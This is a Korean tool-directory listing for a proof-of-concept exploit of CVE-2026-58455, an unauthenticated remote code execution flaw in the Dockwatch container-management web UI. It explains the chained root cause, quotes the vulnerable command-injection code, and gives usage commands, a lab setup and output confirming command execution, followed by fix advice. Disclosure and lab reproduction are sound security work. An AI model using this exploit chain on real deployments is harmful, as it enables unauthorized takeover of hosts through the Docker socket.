Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/boreas37/cve-2026-58455-poc
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLabs & Practice
GitHubboreas37/cve-2026-58455-poc

CVE-2026-58455-PoC

CVE-2026-58455 PoC: Dockwatch <=0.6.567 비인증 RCE. Python 표준 라이브러리만 사용.

저장소 보기
3일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-58455 — Dockwatch 비인증 RCE (인증 우회 + 명령 주입)

CVE-2026-58455에 대한 개념 증명(PoC): Dockwatch(Notifiarr 제작)에서 발생하는 비인증 원격 코드 실행. Dockwatch는 자체 호스팅 Docker 컨테이너 관리 웹 UI입니다. 0.6.567까지의 모든 버전에 영향을 줍니다.

근본 원인 (소스에서 확인됨)

세 가지 결함이 연쇄적으로 결합됩니다:

  1. 인증 없이 세션 플래그 설정 — GET /includes/header.php는 모든 방문자에 대해 $_SESSION['IN_DOCKWATCH'] = true;를 실행합니다. AJAX 계층(ajax/shared.php)은 이 플래그만 확인합니다.
  2. 인증 리다이렉트 후 exit() 누락 — loader.php는 $_SESSION['authenticated']가 false일 때 Location: login.php 헤더를 보내지만 실행을 종료하지 않으므로 요청의 나머지 부분이 계속 실행됩니다.
  3. OS 명령 주입 — ajax/compose.php(m=composePull)는 소독되지 않은 입력으로 셸 명령을 구성합니다:
    root@kitploit:~
    $cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
    $pull = $shell->exec($cmd . ' 2>&1');
    
    출력은 HTTP 응답에 그대로 반영됩니다.

연쇄 효과: 인증되지 않은 원격 공격자가 컨테이너 내부의 웹 서버 사용자 권한으로 임의의 OS 명령을 실행할 수 있습니다. 일반적인 배포에서는 /var/run/docker.sock을 컨테이너에 마운트하므로 → 호스트의 root와 동일한 권한이 됩니다.

사용법

root@kitploit:~
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888            # defaults

Python 3 표준 라이브러리만 사용합니다.

실습 환경 (재현)

root@kitploit:~
docker run -d --name dockwatch-lab -p 8888:80 \
  -v /var/run/docker.sock:/var/run/docker.sock \
  ghcr.io/notifiarr/dockwatch:v0.6.567

검증된 출력

root@kitploit:~
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
    uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)

해결 방법

Dockwatch를 0.6.567보다 최신 버전으로 업데이트하세요. 완화 조치로, Dockwatch를 신뢰할 수 없는 네트워크에 노출하지 말고 필요하지 않다면 Docker 소켓 바인드를 제거하세요.

면책 조항

승인된 보안 연구 및 실습 환경에서만 사용하세요.

도구 다운로드